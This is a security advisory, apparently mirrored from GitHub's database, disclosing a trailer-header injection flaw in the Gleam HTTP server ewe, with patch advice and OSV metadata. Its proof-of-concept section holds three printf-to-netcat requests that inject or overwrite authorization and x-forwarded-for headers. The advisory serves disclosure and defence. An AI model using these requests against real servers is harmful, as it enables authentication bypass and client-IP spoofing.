GHSA-9W88-79F8-M3VP
Vulnerability from github – Published: 2026-03-16 20:49 – Updated: 2026-03-18 21:44Summary
ewe's chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like authorization, cookie, and x-forwarded-for can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.
Impact
When ewe.read_body processes a chunked request with a Trailer header, it calls handle_trailers (ewe/internal/http1.gleam:493), which merges declared trailer fields into req.headers via request.set_header (line 517). The is_forbidden_trailer denylist (line 534) only blocks 9 header names: transfer-encoding, content-length, host, cache-control, expect, max-forwards, pragma, range, and te.
Security-sensitive headers are not blocked, including:
authorization— attacker can inject or overwrite Bearer tokenscookie/set-cookie— attacker can inject session cookiesproxy-authorization— attacker can inject proxy credentialsx-forwarded-for,x-forwarded-host,x-forwarded-proto— attacker can spoof proxy-trust headersx-real-ip— attacker can spoof client IP
A malicious client can inject these headers by declaring them in the Trailer request header and including them after the final 0\r\n chunk. If the header already exists (e.g., set by a reverse proxy), request.set_header overwrites it. Any application logic that reads these headers after calling ewe.read_body — such as authentication middleware, IP-based rate limiting, or session validation — will see the attacker-controlled values.
Proof of Concept
Inject an authorization header that didn't exist:
printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: authorization\r\n\r\n4\r\ntest\r\n0\r\nauthorization: Bearer injected-token\r\n\r\n' | nc -w 2 localhost 8080
Overwrite a legitimate authorization header set by a proxy:
printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nAuthorization: Bearer legitimate-token\r\nTransfer-Encoding: chunked\r\nTrailer: authorization\r\n\r\n4\r\ntest\r\n0\r\nauthorization: Bearer evil-token\r\n\r\n' | nc -w 2 localhost 8080
Inject x-forwarded-for to spoof client IP:
printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: x-forwarded-for\r\n\r\n4\r\ntest\r\n0\r\nx-forwarded-for: 10.0.0.1\r\n\r\n' | nc -w 2 localhost 8080
Patches
- Expand the denylist in
is_forbidden_trailerto includeauthorization,cookie,set-cookie,proxy-authorization,x-forwarded-for,x-forwarded-host,x-forwarded-proto,x-real-ip, and other security-sensitive headers. - Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "ewe"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "3.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32881"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T20:49:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\newe\u0027s chunked transfer encoding trailer handling merges declared trailer fields into `req.headers` after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like `authorization`, `cookie`, and `x-forwarded-for` can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.\n\n## Impact\n\nWhen `ewe.read_body` processes a chunked request with a `Trailer` header, it calls `handle_trailers` (`ewe/internal/http1.gleam:493`), which merges declared trailer fields into `req.headers` via `request.set_header` (line 517). The `is_forbidden_trailer` denylist (line 534) only blocks 9 header names: `transfer-encoding`, `content-length`, `host`, `cache-control`, `expect`, `max-forwards`, `pragma`, `range`, and `te`.\n\nSecurity-sensitive headers are not blocked, including:\n\n- `authorization` \u2014 attacker can inject or overwrite Bearer tokens\n- `cookie` / `set-cookie` \u2014 attacker can inject session cookies\n- `proxy-authorization` \u2014 attacker can inject proxy credentials\n- `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto` \u2014 attacker can spoof proxy-trust headers\n- `x-real-ip` \u2014 attacker can spoof client IP\n\nA malicious client can inject these headers by declaring them in the `Trailer` request header and including them after the final `0\\r\\n` chunk. If the header already exists (e.g., set by a reverse proxy), `request.set_header` overwrites it. Any application logic that reads these headers after calling `ewe.read_body` \u2014 such as authentication middleware, IP-based rate limiting, or session validation \u2014 will see the attacker-controlled values.\n\n### Proof of Concept\n\n**Inject an `authorization` header that didn\u0027t exist:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer injected-token\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\n**Overwrite a legitimate `authorization` header set by a proxy:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nAuthorization: Bearer legitimate-token\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer evil-token\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\n**Inject `x-forwarded-for` to spoof client IP:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: x-forwarded-for\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nx-forwarded-for: 10.0.0.1\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\n## Patches\n\n- Expand the denylist in `is_forbidden_trailer` to include `authorization`, `cookie`, `set-cookie`, `proxy-authorization`, `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto`, `x-real-ip`, and other security-sensitive headers.\n- Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.",
"id": "GHSA-9w88-79f8-m3vp",
"modified": "2026-03-18T21:44:03Z",
"published": "2026-03-16T20:49:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-9w88-79f8-m3vp"
},
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/commit/07dcfd2135fc95f38c17a9d030de3d7efee1ee39"
},
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/commit/94ab6e7bf7293e987ae98b4daa51ea131c2671ba"
},
{
"type": "PACKAGE",
"url": "https://github.com/vshakitskiy/ewe"
},
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/releases/tag/v3.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Permissive List of Allowed Inputs in ewe"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.